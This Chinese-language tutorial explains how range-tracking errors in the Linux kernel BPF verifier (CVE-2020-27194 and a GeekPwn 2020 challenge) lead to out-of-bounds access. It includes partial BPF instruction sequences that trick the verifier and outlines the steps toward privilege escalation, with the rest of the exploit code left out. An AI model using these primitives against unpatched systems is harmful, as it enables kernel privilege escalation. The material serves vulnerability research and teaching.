Linux kernel BPF模块的相关漏洞分析
字数 1451 2025-08-20 18:18:24
Linux Kernel BPF模块漏洞分析与利用教学
1. BPF基础概述
BPF (Berkeley Packet Filter) 是Linux内核中的一个重要模块,它允许用户态程序在内核中执行受限的字节码。主要特点包括:
- 实现了BPF字节码的JIT (Just-In-Time)编译器
- 用户可以在用户态编写BPF代码,经JIT编译后在内核执行
- 通过验证器(verifier)机制进行静态分析,防止不安全行为
关键安全机制:
- 对常数变量设置取值范围限制
- 结构体
bpf_reg_state存储8个取值范围变量:s64 smin_value; // 最小可能(s64)值 s64 smax_value; // 最大可能(s64)值 u64 umin_value; // 最小可能(u64)值 u64 umax_value; // 最大可能(u64)值 s32 s32_min_value; // 最小可能(s32)值 s32 s32_max_value; // 最大可能(s32)值 u32 u32_min_value; // 最小可能(u32)值 u32 u32_max_value; // 最大可能(u32)值
2. 漏洞类型分析
这类漏洞的共同特点是验证阶段取值范围计算错误,导致:
- 验证阶段计算x的取值范围为
0 <= x <= 0x1000 - 实际运行时x的值可以是
0x2000 - 导致内存越界读写
典型漏洞案例:
- CVE-2020-8835 (Pwn2Own提权漏洞)
- CVE-2017-16995 (早期BPF相关漏洞)
- CVE-2020-27194 (Linux kernel 5.8.x通杀洞)
- GeekPwn 2020决赛kernel题
3. CVE-2020-27194详细分析
漏洞成因
在scalar32_min_max_or函数中,32位OR运算的取值范围分析错误:
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
// ...省略部分代码...
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value; // 错误赋值
dst_reg->s32_max_value = dst_reg->umax_value; // 错误赋值
}
问题点:
- 直接将64位无符号数的取值范围赋给32位有符号数
- 导致"差1错误":当x的64位无符号数范围是
1 <= x <= 0x100000001时- 验证阶段认为x的32位有符号数范围是
1 <= x <= 1(x=1) - 实际x可以是2
- 验证阶段认为x的32位有符号数范围是
漏洞利用构造
BPF程序构造示例:
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_5), // r5 = input()
BPF_LD_IMM64(BPF_REG_6, 0x600000002), // r6=0x600000002
BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), // if r5 < r6; jmp 1
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1), // if r5 > 0; jmp 1
BPF_EXIT_INSN(),
// 此时验证器认为 1 <= r5 <= 0x600000001
BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0), // r5 |=0; 验证器认为 1 <= r5 <=1, r5=1
BPF_MOV_REG(BPF_REG_6, BPF_REG_5), // r6 = r5
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), // r6 >>1 验证器认为0,实际可让r5=2则r6=1
// ...后续利用代码...
};
利用技巧
- 通过OR操作制造取值范围判断错误
- 利用右移操作进一步扩大取值范围差异
- 最终实现任意长度溢出读写
- 需要根据不同内核版本调整
array_map_ops和init_pid_ns的偏移
4. GeekPwn 2020决赛kernel题分析
漏洞点
题目基于Linux kernel 5.8.6,关键修改:
- 删除了
scalar_min_max_add函数的整数溢出检查 - 修改了
adjust_scalar_min_max_vals函数,移除了64位无符号数umin_val > umax_val的检查
漏洞利用
构造加法整数溢出:
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_5), // r5 = input()
BPF_LD_IMM64(BPF_REG_6, -1), // r6=-1
BPF_JMP_REG(BPF_JLE, BPF_REG_5, BPF_REG_6, 1), // if r5 <= -1; jmp 1
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 0, 1), // if r5 >= 0; jmp 1
BPF_EXIT_INSN(),
// 此时 0 <= r5 <= -1 (整数溢出)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, 1), // r5 += 1, 验证器认为 1 <= r5 <=0
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // r6 = r5
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), // r6 >>1 验证器认为r6=0,实际可输入r5=2则r6=1
// ...后续利用代码...
};
实际挑战
- 内核编译时开启了结构体随机化
- 内核结构体变量偏移与正常编译不同
- 需要通过分析内核函数汇编手动计算各种偏移
5. 漏洞利用通用模式
- 取值范围欺骗:构造使验证器误判变量取值范围的代码
- 数学运算放大:通过加减、位运算等放大取值范围差异
- 内存操作突破:利用错误的取值范围进行越界内存访问
- 权限提升:修改关键内核数据结构实现提权
6. 防御建议
- 加强验证器对数学运算的边界检查
- 对取值范围转换添加更严格的验证
- 启用内核结构体随机化(虽然会增加利用难度,但不解决根本问题)
- 及时更新内核补丁
7. 学习资源
- BPF验证器fuzzing方法
- CVE-2020-8835分析
- Linux内核官方文档:BPF验证器实现细节
8. 总结
BPF模块漏洞的核心在于验证器对变量取值范围的错误计算。通过精心构造的BPF程序,可以欺骗验证器,实现内核内存的越界访问。这类漏洞的利用需要深入理解:
- BPF验证器的工作原理
- 取值范围的计算逻辑
- 数学运算对取值范围的影响
- 内核内存布局和关键数据结构
研究这些漏洞不仅能提高漏洞挖掘能力,也能加深对Linux内核安全机制的理解。